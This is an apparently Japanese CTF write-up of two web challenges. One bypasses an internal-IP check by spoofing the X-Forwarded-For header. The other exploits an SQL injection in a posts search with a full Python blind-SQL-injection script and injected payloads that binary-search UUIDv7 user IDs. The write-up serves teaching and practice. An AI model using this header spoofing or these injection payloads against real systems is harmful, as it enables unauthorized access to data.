[web] robots
robotsという題名なので、とりあえず/robots.txt
を見る。
User-Agent: * Disallow: /admin/flag
とあるので、/admin/flag
を見てみると、
401 Unauthorized ほにゃらら is not internal IP address :(
と言われる。なるほど、IPアドレス偽装をする必要がありそう。
よくある方法として、HTTPリクエストヘッダーを悪用する方法がある。
色々なヘッダーが候補として使えるがX-Forwarded-For: 127.0.0.1
を入れると突破できた。
[web] first
本当にごめんなさいという感じですが、Blind SQL Injectionで解きました…
他の人の解法を見たら普通にSQL Injectionできたんですね…
脆弱性がある箇所については分かりやすく、app.pyの54行目でSQL Injectionが発生している。
cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
ここのLIKE文以降に差し込める。
union selectでいい感じにusersテーブルを埋め込もうとしたが、微妙にうまくいかない。
andで条件文を伸ばすとうまく動いたので、これを利用してBlind SQL Injectionをした。
100番目に登録したユーザーを特定する必要があるが、ユーザーのIDにはuuid7が使われている。
uuid7は時間順にソート可能なUUIDv6, UUIDv7, UUIDv8の提案仕様 - ASnoKaze blogにあるように時間順にソート可能なので、それを見れば前後関係が分かる。
同サイトを参考にすると、先頭にタイムスタンプがついているので、普通にユーザーのIDでソートしたときにソート順で小さい方から100番目のユーザー名を答えればいい。
最終的に以下のようなコードで100番目のユーザーのIDを特定した。
(0x00000000000000000000000000000000,0xffffffffffffffffffffffffffffffff]の範囲で二分探索をしていき、特定のユーザーID以下のユーザーの件数が100以上かそうでないかを検索結果から読み取ることで二分探索を進めていくと、最終的なokラインが100番目のユーザーのIDとなっている。
import requests import urllib.parse import re import time def int_to_uuid(i): t = "{:032x}".format(i) return f"{t[0:8]}-{t[8:12]}-{t[12:16]}-{t[16:20]}-{t[20:]}" BASE = 'http://34.82.208.2:31555/' def get(q): t = requests.get(f"{BASE}?q={urllib.parse.quote(q)}").text r = re.findall(r'<h5 class=\"card-header\">([^<]*)</h5>', t) return set(r) ng = 0x00000000000000000000000000000000 ok = 0xffffffffffffffffffffffffffffffff while ng + 1 != ok: md = (ok + ng) // 2 uuid = int_to_uuid(md) print(f"[+] {uuid}") if 0 < len(get(f"%' and 100 <= (select count(*) from users where id <= '{uuid}') /*")): ok = md else: ng = md time.sleep(3) print(int_to_uuid(ok))
これを走らせるとIDが018455f4-aa1e-771e-8eae-f342965a4ed1
であることが分かるので、
後はそれを使って%' and users.id = '018455f4-aa1e-771e-8eae-f342965a4ed1' /*
のようにするとユーザー名も分かる。